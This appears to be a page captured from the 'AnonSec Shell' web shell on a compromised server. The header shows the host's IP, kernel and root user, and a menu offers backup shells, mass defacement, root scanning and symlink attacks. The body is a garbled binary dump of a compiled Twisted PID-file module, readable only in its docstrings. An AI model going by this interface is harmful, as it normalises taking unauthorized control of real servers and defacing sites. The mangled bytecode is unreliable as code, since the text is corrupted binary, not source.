AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/application/runner/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/application/runner/__pycache__/_pidfile.cpython-310.pyc
o

�b��@s�UdZddlZddlmZmZmZddlmZddl	m
Z
mZddlm
Z
mZddlmZddlmZGd	d
�d
e
�Zee�Gdd�d��Zee�Gd
d�d��Ze�Zeed<Gdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZdS)z
PID file.
�N)�getpid�kill�name)�
TracebackType)�Optional�Type)�	Interface�implementer)�Logger)�FilePathc	@sxeZdZdZdefdd�Zddd�Zddd	�Zdefd
d�Z	ddd
�Z
deee
dee
deedeefdd�ZdS)�IPIDFilez5
    Manages a file that remembers a process ID.
    �returncC�dS)a+
        Read the process ID stored in this PID file.

        @return: The contained process ID.

        @raise NoPIDFound: If this PID file does not exist.
        @raise EnvironmentError: If this PID file cannot be read.
        @raise ValueError: If this PID file's content is invalid.
        N�rrr�E/usr/lib/python3/dist-packages/twisted/application/runner/_pidfile.py�read�z
IPIDFile.readNcCr)z�
        Store the PID of the current process in this PID file.

        @raise EnvironmentError: If this PID file cannot be written.
        Nrrrrr�writeRunningPID$rzIPIDFile.writeRunningPIDcCr)zm
        Remove this PID file.

        @raise EnvironmentError: If this PID file cannot be removed.
        Nrrrrr�remove+rzIPIDFile.removecCr)a
        Determine whether there is a running process corresponding to the PID
        in this PID file.

        @return: True if this PID file contains a PID and a process with that
            PID is currently running; false otherwise.

        @raise EnvironmentError: If this PID file cannot be read.
        @raise InvalidPIDFileError: If this PID file's content is invalid.
        @raise StalePIDFileError: If this PID file's content refers to a PID
            for which there is no corresponding running process.
        Nrrrrr�	isRunning2rzIPIDFile.isRunningcCr)z�
        Enter a context using this PIDFile.

        Writes the PID file with the PID of the running process.

        @raise AlreadyRunningError: A process corresponding to the PID in this
            PID file is already running.
        Nrrrrr�	__enter__@rzIPIDFile.__enter__�excType�excValue�	tracebackcCr)zS
        Exit a context using this PIDFile.

        Removes the PID file.
        Nr)rrrrrr�__exit__JrzIPIDFile.__exit__�r
N)r
r)�__name__�
__module__�__qualname__�__doc__�intrrr�boolrrrr�
BaseExceptionrrrrrrrs 




����rc@s�eZdZdZe�Zededefdd��Z	de
ddfdd	�Zdefd
d�Zdeddfdd
�Z
ddd�Zddd�Zdefdd�Zededefdd��Zddd�Zdeeedeedeeddfdd�ZdS)�PIDFilez�
    Concrete implementation of L{IPIDFile}.

    This implementation is presently not supported on non-POSIX platforms.
    Specifically, calling L{PIDFile.isRunning} will raise
    L{NotImplementedError}.
    �pidr
cCst|��d���S)z�
        Format a PID file's content.

        @param pid: A process ID.

        @return: Formatted PID file contents.
        �
)r �encode�r$rrr�_formatbs	zPIDFile._format�filePathNcCs
||_dS)zD
        @param filePath: The path to the PID file on disk.
        N)r))�selfr)rrr�__init__ms
zPIDFile.__init__c
Cs�d}z|j���
}|D]}Wd�n1swYWnty5}z|jtjkr0td���d}~wwzt|�WStyItd|����w)N��PID file does not existz#non-integer PID value in PID file: )	r)�open�OSError�errno�ENOENT�
NoPIDFoundr �
ValueError�InvalidPIDFileError)r*�	pidString�fh�errrrss*�����
��zPIDFile.readcCs|j�|j|d��dS)z�
        Store a PID in this PID file.

        @param pid: A PID to store.

        @raise EnvironmentError: If this PID file cannot be written.
        r'N)r)�
setContentr(�r*r$rrr�_write�szPIDFile._writecCs|�t��dS�N)r:r�r*rrrr�szPIDFile.writeRunningPIDcCs|j��dSr;)r)rr<rrrr��zPIDFile.removecCsBz|��}Wn
tyYdSwtdkr|�|�Stdt����)NF�posixz isRunning is not implemented on )rr2�SYSTEM_NAME�_pidIsRunningPOSIX�NotImplementedErrorr9rrrr�s�
zPIDFile.isRunningc
CsZzt|d�WdSty,}z|jtjkrtd��|jtjkr'WYd}~dS�d}~ww)a1
        POSIX implementation for running process check.

        Determine whether there is a running process corresponding to the given
        PID.

        @param pid: The PID to check.

        @return: True if the given PID is currently running; false otherwise.

        @raise EnvironmentError: If this PID file cannot be read.
        @raise InvalidPIDFileError: If this PID file's content is invalid.
        @raise StalePIDFileError: If this PID file's content refers to a PID
            for which there is no corresponding running process.
        rz'PID file refers to non-existing processNT)rr/r0�ESRCH�StalePIDFileError�EPERM)r$r7rrrr@�s	���zPIDFile._pidIsRunningPOSIXcCs>z	|��rt��Wnty|j�d�Ynw|��|S)Nz&Replacing stale PID file: {log_source})r�AlreadyRunningErrorrC�_log�inforr<rrrr�s��zPIDFile.__enter__rrrcCs|��dSr;)r�r*rrrrrrr�szPIDFile.__exit__r)r
r#)rrrrr
rF�staticmethodr �bytesr(rr+rr:rrr!rr@rrrr"rrrrrrr#Vs.




	
����r#c@s�eZdZdZddd�Zdefdd�Zdeddfd	d
�Zddd�Zdd
d�Z	de
fdd�Zddd�Zde
eede
ede
eddfdd�ZdS)�NonePIDFilez�
    PID file implementation that does nothing.

    This is meant to be used as a "active None" object in place of a PID file
    when no PID file is desired.
    r
NcC�dSr;rr<rrrr+��zNonePIDFile.__init__cCstd��)Nr-)r2r<rrrr�szNonePIDFile.readr$cC�ttjd��)z�
        Store a PID in this PID file.

        @param pid: A PID to store.

        @raise EnvironmentError: If this PID file cannot be written.

        @note: This implementation always raises an L{EnvironmentError}.
        zOperation not permitted)r/r0rDr9rrrr:�s
zNonePIDFile._writecCs|�d�dS)Nr)r:r<rrrr�r=zNonePIDFile.writeRunningPIDcCrN)NzNo such file or directory)r/r0r1r<rrrr�szNonePIDFile.removecCr)NFrr<rrrr�rMzNonePIDFile.isRunningcCs|Sr;rr<rrrr�rMzNonePIDFile.__enter__rrrcCrLr;rrHrrrr�szNonePIDFile.__exit__r)r
rK)rrrrr+r rr:rrr!rrrrr"rrrrrrrK�s$




����rK�nonePIDFilec@�eZdZdZdS)rEz%
    Process is already running.
    N�rrrrrrrrrE�rEc@rP)r4z(
    PID file contents are invalid.
    NrQrrrrr4	rRr4c@rP)rCz[
    PID file contents are valid, but there is no process with the referenced
    PID.
    NrQrrrrrCrRrCc@rP)r2z#
    No PID found in PID file.
    NrQrrrrr2rRr2)rr0�osrrrr?�typesr�typingrr�zope.interfacerr	�twisted.loggerr
�twisted.python.filepathrrr#rKrO�__annotations__�	ExceptionrEr4rCr2rrrr�<module>s$By/

Anon7 - 2022
AnonSec Team